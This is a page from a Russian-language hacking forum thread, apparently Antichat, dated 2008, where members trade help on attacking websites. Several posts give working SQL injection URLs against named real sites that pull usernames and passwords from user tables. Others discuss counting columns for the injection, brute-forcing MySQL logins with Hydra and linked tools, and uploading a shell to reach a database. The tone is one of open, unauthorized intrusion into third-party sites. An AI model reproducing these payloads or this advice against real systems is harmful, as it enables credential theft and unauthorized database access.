Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 79 of 1207
  1. l-l00K

    l-l00K Banned

    Joined:
    26 Nov 2006
    Messages:
    233
    Likes Received:
    433
    Reputations:
    287
    http://www.9000rpm.ru/service.html?id=111+union%20select%20concat_ws(0x3a,nick,pass),2,3,4+from+user+--+
    читай маны
     
    #1561 l-l00K, 7 Apr 2008
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Велемир
    99% что ты что-то напутал как ты узнал,что полей больше тысячи?
     
    #1562 Kakoytoxaker, 7 Apr 2008
  3. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    http://www.9000rpm.ru/service.html?id=1+union+select+concat_ws(0x3a,nick,name,pass),2,3,4+from+user+limit+1,1/*

    Наслажлаемся гг)
     
    #1563 Велемир, 7 Apr 2008
    Last edited: 7 Apr 2008
  4. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    пля..уже напостили)
     
    #1564 Велемир, 7 Apr 2008
  5. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Их там поменьше - а узнал с помощью order by ака group by
     
    #1565 Велемир, 7 Apr 2008
  6. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Бля а доступ к бд мона получить, если нет доступа к mysql.user и инклудов ? )))))
     
    #1566 Велемир, 7 Apr 2008
  7. lolman

    lolman New Member

    Joined:
    2 Apr 2008
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Вобщем есть сервер с мускулем. Знаю Mysql юзера и пароль. Но не могу найти phpmyadmin или что-либо аналогичное. Точнее нашел, но когда набираю www.site.com/phpmyadmin/, то говорит что доступа нет. Вытекает вопрос: Как подключится к базе, точнее чем?
     
    #1567 lolman, 7 Apr 2008
  8. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    lolman, а "phpmyadmin/main.php" пробовал?
     
    #1568 Qwazar, 7 Apr 2008
  9. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Походу низя ))))
     
    #1569 Велемир, 7 Apr 2008
  10. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Велемир если там реально так, то попробуй через посимволный если позволяет версия мускула
     
    #1570 darky, 7 Apr 2008
  11. lolman

    lolman New Member

    Joined:
    2 Apr 2008
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    да пробовал, не катит( вот пробовал залить шелл на бесплатный хост, а с него подключиться к базе, но не получилось. Это вообще возможно?
     
    #1571 lolman, 7 Apr 2008
    Last edited: 7 Apr 2008
  12. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Мля ну я точно не ошибся... там реально поелй меньше тысячи, точное число мона узнать. Вот как столько выбрать я хз(юнионом).Груп бай тоже самое число выдаёт,то бишь если выбираешь макс. допустимое x число столбцов - норм,а x+1даёт ошибку )
     
    #1572 Велемир, 7 Apr 2008
  13. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Велемир
    Давай ссылку, там хоть инъекция-то есть может там ошибка уже из-за максимально допустимого значения параметра? :d
    Ты вообще как себе такую таблицу представляешь?
     
    #1573 Kakoytoxaker, 7 Apr 2008
  14. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    В общем жопа, запрос такой :

    select distinct u.id, u.login, u.name, u.status, p.birthdate, p.city, p.sex from user u, profile p, mypeople mp where mp.active = 1 and mp.user = and mp.pal = u.id and u.id = p.id order by u.name, u.login limit 1

    ордер баю ваще по*** походу , выбираю ид 104 - пральный, а 102 и 103 показывает,что не правильный (( Аблом наф.

    http://www.seeeto.com/user.html?id=

    Вот))
     
    #1574 Велемир, 7 Apr 2008
  15. Rogun

    Rogun Elder - Старейшина

    Joined:
    12 Feb 2008
    Messages:
    76
    Likes Received:
    4
    Reputations:
    0
    Возможен ли брут MySQL базы??
    Я навикатом проверил IP и базу :D , показало 1045 - Access denied for user "login'@'myip' (using password: YES)
    Есть ли прога которой можно ввести юзер нейм и брутить пасс? либо утилита но что бы непупер навороченая настройками... :)
     
    #1575 Rogun, 8 Apr 2008
  16. Lesnoy_chelovek

    Lesnoy_chelovek Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    224
    Likes Received:
    152
    Reputations:
    8
    Rogun, по-моему Hуdra умеет перебирать пароли к БД.
     
    #1576 Lesnoy_chelovek, 8 Apr 2008
    1 person likes this.
  17. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Rogun, _ttp://www.kd-team.com/tools/BruteMySql_KD-Team.rar и _ttp://www.d4rk-m00n.info/forum/modules.php?name=Forums&file=viewtopic&t=75

    на втором нужна рега :)

    з.ы. для тех, кто экономит трафф - по первой ссылке java-брутфорс от KD-Team, а по второй php-брутфорс от lun0s.
     
    #1577 n0ne, 8 Apr 2008
    1 person likes this.
  18. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    имхо нет инъекцииб там получается, что весь _REQUEST фильтруется таким образом, что остаются только цифры, например id=2 покажет пользователя с id=2, id =1 and 1=1 покажет пользователя с id=111, id 1 and 1=2 покажет пользователя с id=112, также походу запрос не принимается полностью если в нем есть определенные символы или слова
     
    #1578 Scipio, 8 Apr 2008
    1 person likes this.
  19. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Мдя....вот шняга то. А по идеее же если id = 2, id=1 and 1=1 должно же выводить id = 2 просто((. Бля, не секу я в этих запросах Ж... Вроде с виду всё понятно, а как посморишь, так плохо :Р
     
    #1579 Велемир, 8 Apr 2008
  20. Rogun

    Rogun Elder - Старейшина

    Joined:
    12 Feb 2008
    Messages:
    76
    Likes Received:
    4
    Reputations:
    0
    а как запустить Java-скрипт?(там просто текстовый файлик в формате Java) его настроить надо?оО :confused:

    ФАК 2сцылка на муск брутер непашет(( а точнее я зарегился уже впредверьи скачать брутер и тут "URL Err" типа нету фаила, а по постам от админа он ещё упирается :D пришлось им оставить комент от россии :)
     
    #1580 Rogun, 8 Apr 2008
(You must log in or sign up to post here.)
Page 79 of 1207
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.